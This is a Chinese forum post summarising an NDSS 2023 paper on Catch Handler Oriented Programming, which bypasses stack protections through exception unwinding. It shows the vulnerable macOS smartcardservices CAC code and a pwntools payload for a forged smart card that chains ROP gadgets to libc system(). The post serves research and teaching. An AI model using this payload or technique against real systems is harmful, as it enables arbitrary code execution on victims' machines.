首页
社区
课程
招聘
[分享]一种绕过堆栈保护的新攻击范式
2023-11-30 15:25 2688

[分享]一种绕过堆栈保护的新攻击范式

2023-11-30 15:25
2688

最近要研讨,看到一篇ndss2023的论文:"Let Me Unwind That For You: Exceptions to Backward-Edge Protection",提出了一种新的攻击范式,在原缓存区溢出的攻击基础上通过异常机制跳过栈保护,感觉蛮好的,就想简单分享下,看看大家什么看法,附件是原文和我做的ppt。

面向异常处理编程攻击( Catch Handler Oriented Programming attacks)

威胁模型

攻击者寻求通过调用栈损坏来实现攻击原语,如劫持控制流。存在针对传统ROP和return-to-libc攻击的StackGuard和Shadow Stack保护。假设攻击者具有方法来绕过地址空间随机化(如指针泄漏,侧通道泄漏,熵耗尽攻击)。从一个无约束的堆栈损坏原语开始(允许攻击者覆盖堆栈上的任意数据),然后讨论改进。

攻击总览

CHOP攻击通常首先破坏保存的返回指针,以混淆展开器,然后引诱它将控制流传输到意想不到的处理代码中。

实例

这里的函数在编译时都是加入了StackGuard保护的,普通的栈溢出攻击无效。
SCSSU-201801:
运行在macOS上的smartcardservices中Common Access Card (CAC)模块,在插入智能卡并检索证书时,如下13-33行代码会从卡中循环读入数据到堆栈缓冲区,直到卡指示结束或发生通信错误。28行的memcpy会把攻击者控制的数据复制到certificate中,从而可以产生缓存区溢出。但是如果在这个循环内产生异常,会被35行的catch-all handler捕获处理,无法进行CHOP攻击。但在40行检查卡内数据第一个字节为1后,会对数据进行解压缩操作,若解压缩失败,在50行会抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
unsigned char command[] = { 0x80, 0x36, 0x00, 0x00, 0x64 };
unsigned char result[MAX_BUFFER_SIZE];
size_t resultLength = sizeof(result);
uint8 certificate[CAC_MAXSIZE_CERT];
uint8 uncompressed[CAC_MAXSIZE_CERT];
size_t certificateLength = 0;
 
try
{
    PCSC::Transaction _(cacToken);
    cacToken.select(mApplication);
    uint32_t cacreturn;
    do
    {
        cacreturn = cacToken.exchangeAPDU(command, sizeof(command), result,
            resultLength);
 
        if ((cacreturn & 0xFF00) != 0x6300)
            CACError::check(cacreturn);
 
        size_t requested = command[4];
        if (resultLength != requested + 2)
            PCSC::Error::throwMe(SCARD_E_PROTO_MISMATCH);
 
        if (certificateLength + (resultLength - 2) > CAC_MAXSIZE_CERT)
            PCSC::Error::throwMe(SCARD_E_PROTO_MISMATCH);
 
        memcpy(certificate + certificateLength, result, resultLength - 2);
        certificateLength += resultLength - 2;
        // Number of bytes to fetch next time around is in the last byte
        // returned.
        command[4] = cacreturn & 0xFF;
    } while ((cacreturn & 0xFF00) == 0x6300);
}
catch (...)
{
    return NULL;
}
 
if (certificate[0] == 1)
{
    /* The certificate is compressed */
    secdebug("cac", "uncompressing compressed %s", mDescription);
    size_t uncompressedLength = sizeof(uncompressed);
    int rv = uncompress(uncompressed, &uncompressedLength, certificate + 1,
        certificateLength - 1);
    if (rv != Z_OK)
    {
        secdebug("zlib", "uncompressing %s failed: %d", mDescription, rv);
        CssmError::throwMe(CSSMERR_DL_DATABASE_CORRUPT);
    }
 
    data.Data = uncompressed;
    data.Length = uncompressedLength;
}
else
{
    data.Data = certificate;
    data.Length = certificateLength;
}

攻击者需要伪造一张智能卡,卡中数据如下,部分压缩并用一个指向pivot-to-ROP gadget的指针覆盖掉保存的返回地址,在其解压缩失败后就会触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pl = fit({
    0: p8(1),
    1: zlib.compress(b"\x41"*31337, 9),
 
    0x1170+800: cmd,
 
    0x12e0: p64(stack_addr),     # for leave of hijacked handler
    0x12e8: p64(handler_addr),
 
    0x1300: p64(stack_addr+0x18), # for leave of pop_rdi_gagdget
    0x1308: p64(pop_rdi_gadget), 
    0x1310: p64(stack_addr+400), # will point to cmd
 
    0x1320: p64(libc_base + system_off)
},
length = 0x64*60
)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-11-30 17:32 被ice cream编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回